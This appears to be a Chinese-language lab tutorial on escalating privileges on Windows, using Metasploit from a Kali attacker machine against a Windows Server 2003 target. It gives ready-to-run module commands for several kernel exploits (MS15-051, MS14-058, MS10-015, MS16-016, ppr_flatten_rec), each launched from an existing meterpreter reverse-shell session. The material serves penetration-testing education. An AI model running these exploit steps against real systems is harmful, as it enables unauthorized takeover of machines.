windows內核提權漏洞
環境:
Kali Linux(攻擊機) 192.168.190.141
Windows2003SP2(靶機) 192.168.190.147
0x01尋找可利用的exp
實戰中我們在拿到一個反彈shell后(meterpreter)下一步會進行提權操作,而metaspolit的內置模塊Local Exploit Suggester。這個模塊可以幫助我們識別系統存在哪些漏洞可以被利用,並且為我們提供最合適的exp,通過這個exp我們可以進一步提權。
如下圖,有一個普通用戶權限的會話
在拿到meterpreter會話的前提下,我們可以利用這個模塊進行收集
可以看到我這里有和目標機的一個session會話,id為4,我們使用local_exploit_suggester模塊
use post/multi/recon/local_exploit_suggester set LHOST 192.168.190.141 set SESSION 1 Exploit
如下圖所示,它自動的為我們匹配出了一些可能的用於易受攻擊目標提權的漏洞利用的exp模塊。
0x02 利用exp提權
根據metaspolit的內置模塊Local Exploit Suggester模塊列出的可利用模塊,我們來進行提權,提權成功后會返回新的、提升權限成功后的session會話。
選取了幾個常見的可利用的模塊來進行提權演示。
Windows ClientCopyImage Win32k Exploit(ms15_051)
Windows內核模式驅動程序中的漏洞讓攻擊者可以進行提權。
這個模塊利用了win32k.sys內核模式驅動程序中不正確的對象處理。
使用模塊 查看設置的參數
設置參數 提權
use exploit/windows/local/ms15_051_client_copy_image set lhost 192.168.190.141 set session 4 exploit
Windows TrackPopupMenu Win32k NULL Pointer Dereference(ms14_058)
該模塊利用了win32k.sys中的NULL Pointer Dereference,這個漏洞可以通過使用TrackPopupMenu來觸發。在特定情況下,可以在xxxSendMessage Timeout上濫用NULL Pointer Dereference來獲取任意代碼執行。
這個模塊已經在Windows XP SP3,Windows Server 2003 SP2,Windows7 SP1,Windows Server2008 32位和Windows Server2008R2 SP164位上測試過。
use exploit/windows/local/ms14_058_track_popup_menu set lhost 192.168.190.141 set session 4 exploit
通過KiTrap0D進行Windows系統提權(ms10_015)
這個模塊會通過Kitrap0D這個exp來生成一個SYSTEM權限的新會話,如果當前會話已經是SYSTEM權限,那么這個腳本將不起作用。這個腳本依賴於kitrap0d.x86.dll這個文件,而且不支持64位的Windows操作系統。
該模塊已經在存在漏洞的Windows Server 2003,Windows Server 2008,Windows7和XP上測試過,只限32位操作系統。
use exploit/windows/local/ms10_015_kitrap0d set lhost 192.168.190.141 set session 4 exploit
mrxdav.sys WebDav本地提權(MS16-016)
這個exp利用的是mrxdav.sys中的漏洞,漏洞編號是MS16-016。該模塊會在目標主機上生成一個進程,並通過在特權進程的環境下執行指定的payload來提權。
該模塊在存在漏洞的Windows7 SP1 x86架構上測試過可行。
use exploit/windows/local/ms16_016_webdav set lhost 192.168.190.141 set session 4 exploit
EPATHOBJ::pprFlattenRec本地提權
這個漏洞是由於EPATHOBJ::pprFlattenRec使用了未初始化的數據而產生的,該漏洞可以對內存產生破壞。
而我們的這個腳本就是利用這個漏洞來提權的。
這個模塊已經在Windows XP SP3,Windows2003SP1和Windows7SP1上成功執行。
use exploit/windows/local/ppr_flatten_rec set lhost 192.168.190.141 set session 4 exploit